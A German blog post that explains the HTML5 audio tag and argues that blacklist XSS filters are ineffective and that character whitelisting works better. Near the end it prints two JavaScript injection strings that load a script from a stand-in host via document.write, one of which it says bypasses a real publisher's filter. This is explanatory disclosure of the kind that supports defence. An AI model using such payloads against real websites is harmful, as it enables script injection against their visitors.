In HTML5 gibt es neue TAGs, z.B. einen um Audio-Dateien abzuspielen:

Der HTML-Quellcode dazu sieht wie folgt aus:
<audio controls autobuffer>
     <source src="zeuch.ogg" />
     <source src="zeuch.mp3" />
</audio>

---

<einschub>
Je nach verwendetem Browser bzw. Version des Browsers kann es sein, dass keine Abspielmöglichkeit besteht. Wer nun keine der folgenden Controls (oder ähnliche)

in seinem Browser angezeigt bekommt, der verwendet einen Browser der mit dem audio-TAG noch nichts anfangen kann. Firefox, Google-Chrome und Safari unterstützen in den aktuellen Versionen den TAG, der Opera und der Internet Explorer noch nicht.

Je nach verwendetem Browser wird entweder die OGG- oder die MP3-Datei abgespielt, deshalb habe ich zwei Quell-Dateien im audio-TAG angegeben. Der Safari spielt MP3 ab, der Firefox und Chrome die OGG-Datei.

Oben habe ich aus dem Wikipedia-Artikel zu Apollo 8 eine OGG-Datei als Source eingefügt und die MP3 die im Artikel zur OGG-Datei erwähnt wird.
Quellen:
http://de.wikipedia.org/wiki/Datei:Apollo_8_go_for_TLI.ogg
http://upload.wikimedia.org/wikipedia/commons/f/fb/Apollo_8_go_for_TLI.ogg
http://161.115.184.211/teague/apollo/audio/ap8_02_go_for_TLI.mp3
</einschub>

---

Soviel zum HTML5-TAG <audio>.


Werden Usereingaben bzw. URL-Injections gegen Cross-Site Scripting per Blacklist gefiltert, so kann dies zu den folgenden Ergebnissen führen:

oder

aber auch



Das Problem bei einem Blacklisting-XSS-Filter ist:

• Es werden TAGs vergessen in die Liste aufzunehmen, bzw. deren Gefährlichkeit wird falsch eingeschätzt.
• Internet-Browser interpretieren TAGs nicht so wie erwartet, weil der Browser einen Programmfehler aufweist.
• Der HTML-Standard wird um neue TAGs erweitert, die für Angriffe nutzbar sind, weshalb der Filter ständig aktualisiert werden muss.

Einen Filter der mit einer Whitelist arbeitet, also nur die Zeichen zulässt die wirklich benötigt werden, muss nicht ständig aktualisiert werden. Ist ein < und ein > unzulässig, so ist es egal ob ein Angreifer <iframe>, <script> oder <audio> verwendet – sein Angriffsversuch wird immer ohne Erfolg verlaufen. Schon vom Arbeitsaufwand ist es schneller und einfacher, nur die Zeichen zuzulassen die wirklich verwendet werden dürfen.


Der Vollständigkeit halber:
Auf TecChannel wird ein Filter verwendet, der sich auch mit einem Backslash umgehen lässt (zwei Screenshots dazu). Und ja, bereits im vergangenen Februar habe ich den IDG-Verlag auf die Lücken, auch auf vielen der anderen Verlagsseiten, hingewiesen. Es wurde daraufhin zwar hier und da etwas besser gefiltert, aber dies war bereits vor elf Monaten nicht ausreichend und mittlerweile wurden die Filterlisten weiter verschlechtert.

Auf einer anderen Verlagsseite wird man nach der Injection von
'; document.write('<script src=//xss.tld/'); document.write('>'); '
mit einer leeren Website und einem 666 Possible Attack Detected! im Titel des Browserfensters abgewimmelt, aber ein
'; a='>'; document.write('<script src=//xss.tld/'); document.write(a); '
ist, aus Hackersicht, erfolgreich.


Soviel für den Moment, zu Filtern die nach böse-TAGs / gute-TAGs versuchen Sicherheit zu simulieren.